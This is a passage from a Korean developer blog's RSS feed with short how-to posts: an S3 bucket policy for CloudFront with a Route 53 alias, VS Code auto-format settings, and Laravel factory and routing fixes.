&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;323&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1TIZQ/btrPPBDRhcs/5yyVf5nE34broUx1ki0wRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1TIZQ/btrPPBDRhcs/5yyVf5nE34broUx1ki0wRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1TIZQ/btrPPBDRhcs/5yyVf5nE34broUx1ki0wRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1TIZQ%2FbtrPPBDRhcs%2F5yyVf5nE34broUx1ki0wRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;323&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;323&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;원본 진입하면 아래와 같은 창이 뜨는데 거기에 있는거 체크 하고 &quot;편집&quot; 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1915&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ej4iul/btrPPNcVbPx/6ugOe7ndNy1xKEqAVxvldK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ej4iul/btrPPNcVbPx/6ugOe7ndNy1xKEqAVxvldK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ej4iul/btrPPNcVbPx/6ugOe7ndNy1xKEqAVxvldK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fej4iul%2FbtrPPNcVbPx%2F6ugOe7ndNy1xKEqAVxvldK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1915&quot; height=&quot;745&quot; data-origin-width=&quot;1915&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;편집창 들어가서 밑에 좀 내리면 &quot;정책 복사&quot; 라는 버튼이 생겨있는데 해당 부분 클릭해서 정책 복사&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;673&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWWAcw/btrPQJm7xu8/uxBXvuuPt53kdRs57ipvd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWWAcw/btrPQJm7xu8/uxBXvuuPt53kdRs57ipvd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWWAcw/btrPQJm7xu8/uxBXvuuPt53kdRs57ipvd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWWAcw%2FbtrPQJm7xu8%2FuxBXvuuPt53kdRs57ipvd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;936&quot; height=&quot;673&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;673&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정책 복사 하면 아래와 같은 내용이 복사가 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1666962286637&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
        &quot;Version&quot;: &quot;2008-10-17&quot;,
        &quot;Id&quot;: &quot;PolicyForCloudFrontPrivateContent&quot;,
        &quot;Statement&quot;: [
            {
                &quot;Sid&quot;: &quot;AllowCloudFrontServicePrincipal&quot;,
                &quot;Effect&quot;: &quot;Allow&quot;,
                &quot;Principal&quot;: {
                    &quot;Service&quot;: &quot;cloudfront.amazonaws.com&quot;
                },
                &quot;Action&quot;: &quot;s3:GetObject&quot;,
                &quot;Resource&quot;: &quot;arn:aws:s3:::myexample.com/*&quot;,
                &quot;Condition&quot;: {
                    &quot;StringEquals&quot;: {
                      &quot;AWS:SourceArn&quot;: &quot;arn:aws:cloudfront::11111111111111:distribution/E1AWXWSPWWWWJ&quot;
                    }
                }
            }
        ]
      }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거 복사 잘 해둔채로 다시 아까 만들었던 버킷 상세 페이지로 간다.&lt;br /&gt;상세 페이지에서 &quot;객체&quot; 가 아닌 &quot;권한&quot; 페이지로 이동하면 아래와 같은 페이지가 보이는데&amp;nbsp;&lt;br /&gt;저기서 &quot;버킷 정책&quot; - &quot;편집&quot; 창 들어가서 방금 복사했던거 복붙하고 &quot;변경 사항 저장&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1571&quot; data-origin-height=&quot;744&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QuSsn/btrPQqOSKw9/sk0R2tBkfSDxjwkKKTNlZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QuSsn/btrPQqOSKw9/sk0R2tBkfSDxjwkKKTNlZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QuSsn/btrPQqOSKw9/sk0R2tBkfSDxjwkKKTNlZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQuSsn%2FbtrPQqOSKw9%2Fsk0R2tBkfSDxjwkKKTNlZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1571&quot; height=&quot;744&quot; data-origin-width=&quot;1571&quot; data-origin-height=&quot;744&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 정책 추가 하고나서 CloudFront 의 변태같던(ljkfdsaasdfas134.cloudfront.net) 도메인을 클릭해서 들어가보면 정상적으로 html 페이지가 열리는걸 확인할수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Route 53&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스팅 영역이 이미 있다는 가정하에 도메인 진입 하면 레코드들을 볼수있는데 거기서 레코드 생성&lt;br /&gt;&lt;br /&gt;서브도메인 쪽은 아무것도 쓰지말고 레코드 유형 맞게 선택&amp;nbsp;&lt;br /&gt;(서브도메인쪽에 www 붙은 버전으로 하나 더 만들어도 된다.)&lt;br /&gt;그리고 별칭 체크해서 CloudFront 배포에 대한 별칭 선택하고 아래 아까 그 변태같던 도메인 선택&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1167&quot; data-origin-height=&quot;735&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rzhkq/btrPRdnUVkO/srxkOae4RSlMhVJjR3dTjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rzhkq/btrPRdnUVkO/srxkOae4RSlMhVJjR3dTjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rzhkq/btrPRdnUVkO/srxkOae4RSlMhVJjR3dTjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRzhkq%2FbtrPRdnUVkO%2FsrxkOae4RSlMhVJjR3dTjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1167&quot; height=&quot;735&quot; data-origin-width=&quot;1167&quot; data-origin-height=&quot;735&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하면 내가 원하는 도메인으로 연결이 된것을 확인할수 있다.&lt;br /&gt;접속도 잘된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1137&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZdifp/btrPOZyuMk1/4ol2CkVRcooHlQRYjUjlwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZdifp/btrPOZyuMk1/4ol2CkVRcooHlQRYjUjlwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZdifp/btrPOZyuMk1/4ol2CkVRcooHlQRYjUjlwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZdifp%2FbtrPOZyuMk1%2F4ol2CkVRcooHlQRYjUjlwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1137&quot; height=&quot;256&quot; data-origin-width=&quot;1137&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;편의상 반말로 포스팅 했는데 양해부탁드립니다.&lt;br /&gt;저도 aws 에대해서 정말 하나도 모르고 혼자 삽질하다가 겨우겨우 한거라 .. 혹시 이상하거나 저대로 안되는거 있으면 댓글 부탁드립니다 !&lt;/p&gt;</description>
      <category>IT/AWS</category>
      <category>S3 -&amp;gt; CloudFront</category>
      <category>s3 cloudfront 연결</category>
      <category>s3 cloudfront 연동</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/185</guid>
      <comments>https://bug41.tistory.com/entry/AWS-S3-CloudFront-%EA%B7%B9%EB%8C%80%EB%85%B8-%EC%97%B0%EA%B2%B0-%ED%9B%84%EA%B8%B0#entry185comment</comments>
      <pubDate>Fri, 28 Oct 2022 22:44:22 +0900</pubDate>
    </item>
    <item>
      <title>[VSCODE] 코드 자동정렬 문제 (11.11 내용추가 - css 파일 저장시 자동정렬)</title>
      <link>https://bug41.tistory.com/entry/VSCODE-%EC%BD%94%EB%93%9C-%EC%9E%90%EB%8F%99%EC%A0%95%EB%A0%AC-%EB%AC%B8%EC%A0%9C</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;혼자서 작업할땐 상관이 없는데 여러명과 작업을 할땐 각자 개발환경이 다르고 에디터도 다르므로 기존에 소스 포맷 그대로 놔두는게 낫다&lt;br /&gt;오늘 포스팅 하는 건은 자동정렬 때문에 이슈가 생겼어서 이를 방지하는 방법에 대해서 기록&lt;br /&gt;&lt;br /&gt;vscode 기준으로&lt;br /&gt;난 자동정렬을 쓰지않는데 .. 자꾸 자동정렬이되어서 저장이되고 그 상태로 커밋,푸시가 되니 소스 파일이 1번라인 부터 전체적으로 &amp;lt;&amp;lt;&amp;lt; HEAD 요지랄 이 따서 기존 개발하시는 개발자형님들이 심기가 불편해하시는 일이 발생&lt;br /&gt;&lt;br /&gt;처음에 vscode 에서 ctrl + , 를 눌러서 설정창에 들어가갖고 &quot;FormatOnSave&quot; 를 체크 해제해서 다 끝난일인줄 알았으나&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1206&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4KTwe/btrN5xqaFF2/niPkI0CaChtB5wXk0EbfXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4KTwe/btrN5xqaFF2/niPkI0CaChtB5wXk0EbfXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4KTwe/btrN5xqaFF2/niPkI0CaChtB5wXk0EbfXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4KTwe%2FbtrN5xqaFF2%2FniPkI0CaChtB5wXk0EbfXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1206&quot; height=&quot;342&quot; data-origin-width=&quot;1206&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 저장할때 자동정렬 되는걸 방지해주는거고&lt;br /&gt;문제는 내가 소스 복붙했을때 자꾸 자동정렬 되는 문제가 발생&lt;br /&gt;이거는 settings.json 파일을 찾아서 직접 수정해주자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ctrl + P 를 눌러서 파일 찾기에 &quot;settings.json&quot; 이라고 쳐주면 아래와 같은 비슷한 형식의 파일이 나오는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddK60O/btrOfafUJ6u/KveR2oqNBTLkr9TMTcSrDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddK60O/btrOfafUJ6u/KveR2oqNBTLkr9TMTcSrDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddK60O/btrOfafUJ6u/KveR2oqNBTLkr9TMTcSrDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddK60O%2FbtrOfafUJ6u%2FKveR2oqNBTLkr9TMTcSrDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;456&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 이미지 기준 28번 라인&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1665451700562&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;editor.formatOnPaste&quot;: false&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저 부분을 false 로 해주면 해결됨.&lt;br /&gt;난 기존에 true 로 되있어서 자꾸 복붙하면 지 멋대로 format이 발동되는 이슈가 있었음&lt;br /&gt;&lt;br /&gt;초기부터 개발환경이나 확장팩 싹다 맞추고 작업하는거 아니면 이런 문제도 발생하는걸 알수있는 계기가 되었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이 &lt;s&gt;싯8&lt;/s&gt; 진짜 css 파일 저장할때 자동정렬 되는거 때문에 한번 더 찾아왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ctrl + Shift + P 눌러서&lt;br /&gt;&lt;br /&gt;Formatter Config 진입&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uePc0/btrQVBaFOQr/SqfLdHaVXspt3tn0ffFIxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uePc0/btrQVBaFOQr/SqfLdHaVXspt3tn0ffFIxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uePc0/btrQVBaFOQr/SqfLdHaVXspt3tn0ffFIxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuePc0%2FbtrQVBaFOQr%2FSqfLdHaVXspt3tn0ffFIxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;143&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;formatter.json 파일이 열리는데 이거 onSave 가 true 로 되있는데 이걸 false로 바꾸고 vscode 재시작 하면&lt;br /&gt;저장할때 정렬되는 문제 해결된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;775&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQxU4V/btrQXOHcRMp/eBQToqkbzzDhZbpE6K5w4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQxU4V/btrQXOHcRMp/eBQToqkbzzDhZbpE6K5w4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQxU4V/btrQXOHcRMp/eBQToqkbzzDhZbpE6K5w4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQxU4V%2FbtrQXOHcRMp%2FeBQToqkbzzDhZbpE6K5w4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;775&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;775&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 그러진 않겠지만 혹시나 formatter.json 파일 날려먹은분을 위해 기존 세팅 복붙 해둔다.&lt;/p&gt;
&lt;pre id=&quot;code_1668134306599&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
    &quot;onSave&quot;: false,
    &quot;javascript&quot;: {
        &quot;indent_size&quot;: 4,
        &quot;indent_char&quot;: &quot; &quot;,
        &quot;eol&quot;: &quot;auto&quot;,
        &quot;preserve_newlines&quot;: true,
        &quot;break_chained_methods&quot;: false,
        &quot;max_preserve_newlines&quot;: 0,
        &quot;space_in_paren&quot;: false,
        &quot;space_in_empty_paren&quot;: false,
        &quot;jslint_happy&quot;: false,
        &quot;space_after_anon_function&quot;: false,
        &quot;keep_array_indentation&quot;: false,
        &quot;space_before_conditional&quot;: true,
        &quot;unescape_strings&quot;: false,
        &quot;wrap_line_length&quot;: 0,
        &quot;e4x&quot;: false,
        &quot;end_with_newline&quot;: false,
        &quot;comma_first&quot;: false,
        &quot;brace_style&quot;: &quot;collapse-preserve-inline&quot;
    },
    &quot;css&quot;: {
        &quot;indent_size&quot;: 4,
        &quot;indentCharacter&quot;: &quot; &quot;,
        &quot;indent_char&quot;: &quot; &quot;,
        &quot;selector_separator_newline&quot;: true,
        &quot;end_with_newline&quot;: false,
        &quot;newline_between_rules&quot;: true,
        &quot;eol&quot;: &quot;\n&quot;
    },
    &quot;html&quot;: {
        &quot;indent_inner_html&quot;: false,
        &quot;indent_size&quot;: 4,
        &quot;indent_char&quot;: &quot; &quot;,
        &quot;indent_character&quot;: &quot; &quot;
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/잡다구리</category>
      <category>Formatter Config</category>
      <category>formatter.json</category>
      <category>vscode</category>
      <category>vscode 자동정렬</category>
      <category>vscode 자동정렬끄기</category>
      <category>vscode 정렬</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/184</guid>
      <comments>https://bug41.tistory.com/entry/VSCODE-%EC%BD%94%EB%93%9C-%EC%9E%90%EB%8F%99%EC%A0%95%EB%A0%AC-%EB%AC%B8%EC%A0%9C#entry184comment</comments>
      <pubDate>Tue, 11 Oct 2022 10:29:49 +0900</pubDate>
    </item>
    <item>
      <title>[Laravel] factory , seeder 사용시 Call to undefined function factory()</title>
      <link>https://bug41.tistory.com/entry/Laravel-factory-seeder-%EC%82%AC%EC%9A%A9%EC%8B%9C-Call-to-undefined-function-factory</link>
      <description>&lt;pre id=&quot;code_1663941512579&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#생성할 데이터 타입에 맞는 format 지정
php artisan make:factory BookableFactory --model=Bookable

# seeder 생성
php artisan make:seeder BookablesTableSeeder
# 마이그레이션 재실행, DB 재구성
php artisan migrate:fresh --seed&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1663941909592&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#BookableFactory.php

&amp;lt;?php

/** @var \Illuminate\Database\Eloquent\Factory $factory */

use App\Bookable;
use Faker\Generator as Faker;
use Illuminate\Support\Arr;

$suffix = [
    'Villa',
    'House',
    'Cottage',
    'Luxury Vialls',
    'Cheap House',
    'Rooms',
    'Cheap Rooms',
    'Rooms',
    'Luxury Rooms',
    'Fancy Rooms'
];

$factory-&amp;gt;define(Bookable::class, function (Faker $faker) use ($suffix) {
    return [
        'title' =&amp;gt; $faker-&amp;gt;city . ' ' . Arr::random($suffix),
        'description' =&amp;gt; $faker-&amp;gt;text(),
    ];
});&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1663941929931&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#BookablesTableSeeder.php

&amp;lt;?php

use App\Bookable;
use Illuminate\Database\Seeder;

class BookablesTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        factory(Bookable::class, 100)-&amp;gt;create();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BookablesTableSeeder.php 에서 factory undefined 오류&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;372&quot; data-origin-height=&quot;63&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZ9n49/btrMTlqAMFZ/YDef4Xf4VLW7DVd7r0T3JK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZ9n49/btrMTlqAMFZ/YDef4Xf4VLW7DVd7r0T3JK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZ9n49/btrMTlqAMFZ/YDef4Xf4VLW7DVd7r0T3JK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZ9n49%2FbtrMTlqAMFZ%2FYDef4Xf4VLW7DVd7r0T3JK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;372&quot; height=&quot;63&quot; data-origin-width=&quot;372&quot; data-origin-height=&quot;63&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;laravel 8 에서부터 factory 는 존재하지않아서 오류가 남&lt;br /&gt;아래 명령어로 레거시 패키지 추가해서 해결할수 있음&lt;/p&gt;
&lt;pre id=&quot;code_1663941548786&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;composer require laravel/legacy-factories&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;composer 추가한 후에 vscode 한번 껐다 재시작 하고나니까 잘됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpAuRy/btrMS4bzq8g/BG0KsAu1aavteYFp2S6Rk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpAuRy/btrMS4bzq8g/BG0KsAu1aavteYFp2S6Rk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpAuRy/btrMS4bzq8g/BG0KsAu1aavteYFp2S6Rk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpAuRy%2FbtrMS4bzq8g%2FBG0KsAu1aavteYFp2S6Rk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;394&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/PHP</category>
      <category>Call to undefined function factory()</category>
      <category>laravel</category>
      <category>라라벨</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/183</guid>
      <comments>https://bug41.tistory.com/entry/Laravel-factory-seeder-%EC%82%AC%EC%9A%A9%EC%8B%9C-Call-to-undefined-function-factory#entry183comment</comments>
      <pubDate>Fri, 23 Sep 2022 23:10:09 +0900</pubDate>
    </item>
    <item>
      <title>[Laravel] routes/web.php</title>
      <link>https://bug41.tistory.com/entry/Laravel-routeswebphp</link>
      <description>&lt;pre id=&quot;code_1663906725162&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the &quot;web&quot; middleware group. Now create something great!
|
*/

// api/* 로 시작하는 거 제외하고는 싹다 welcome view 로 보내라
Route::get('/{any?}', function () {
    return view('welcome');
})-&amp;gt;where('any', '^(?!api\/)[\/\w\.\,-]*');&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://regex101.com/&quot;&gt;https://regex101.com/&lt;/a&gt;&lt;/p&gt;
